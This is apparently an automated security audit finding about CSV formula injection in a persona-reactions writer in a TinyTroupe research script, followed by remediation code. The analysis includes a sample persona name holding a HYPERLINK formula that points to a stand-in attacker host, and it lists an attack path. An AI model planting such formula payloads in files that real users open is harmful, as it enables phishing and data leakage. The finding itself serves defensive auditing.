T09 · Insecure Skill Coding Practices
Warning
- Location
- scripts/tinytroupe_feed_research_lab.py:408
- Finding
- Spreadsheet Formula Injection in Generated Persona Reactions CSV<![CDATA[ ## Vulnerability Details **File Location**: `scripts/tinytroupe_feed_research_lab.py:408-414` **Vulnerability Type**: CSV formula injection **Risk Level**: Medium ### Vulnerable Code ```python def write_reactions_csv(path: Path, reactions: list[Reaction]) -> None: fields = list(asdict(reactions[0]).keys()) if reactions else [] with path.open("w", newline="", encoding="utf-8") as f: writer = csv.DictWriter(f, fieldnames=fields) writer.writeheader() for reaction in reactions: writer.writerow(asdict(reaction)) ``` ### Technical Analysis The function serializes `Reaction` fields directly into CSV cells. Some fields, including persona `name` and `segment`, can originate from an attacker-controlled `--personas-file`. The CSV writer applies CSV quoting, but quoting does not prevent spreadsheet applications from interpreting cells beginning with `=`, `+`, `-`, or `@` as formulas. For example, a persona file can contain a name such as: ```json [ { "name": "=HYPERLINK(\"https://attacker.example/collect\",\"Open report\")", "segment": "custom", "interests": [] } ] ``` The resulting value is written unchanged to `persona_reactions.csv`. When opened in formula-capable spreadsheet software, it may be evaluated as a formula. The exact behavior and available formula functions depend on the spreadsheet client and its security configuration. ### Attack Path 1. An attacker creates or modifies a persona JSON file containing a formula-prefixed `name` or `segment`. 2. A user invokes the script with `--personas-file` referencing that file. 3. `normalize_persona` accepts the supplied strings, and reaction generation propagates them into `Reaction` records. 4. `write_reactions_csv` writes those values to `persona_reactions.csv` without formula neutralization. 5. The user opens the generated CSV in a spreadsheet application. 6. The spreadsheet may evaluate the injected formula, enabling phishing links, exte ...[truncated 792 chars]
- Remediation
- <![CDATA[ ## Remediation Suggestions Sanitize every untrusted field before writing it to CSV: 1. Convert each value to a string. 2. Inspect the first non-whitespace character. 3. If it is `=`, `+`, `-`, or `@`, prefix the value with a single quote or another application-compatible neutralization character. 4. Consider also rejecting control characters and documenting that generated CSV files contain untrusted user content. 5. Add regression tests covering formula-prefixed persona names and segments. Example hardening: ```python def safe_csv_cell(value: object) -> object: if not isinstance(value, str): return value if value.lstrip().startswith(("=", "+", "-", "@")): return "'" + value return value def write_reactions_csv(path: Path, reactions: list[Reaction]) -> None: fields = list(asdict(reactions[0]).keys()) if reactions else [] with path.open("w", newline="", encoding="utf-8") as f: writer = csv.DictWriter(f, fieldnames=fields) writer.writeheader() for reaction in reactions: row = { key: safe_csv_cell(value) for key, value in asdict(reaction).items() } writer.writerow(row) ``` Because spreadsheet behavior differs between applications, test the neutralized output in all spreadsheet clients officially supported by the project. ]]>
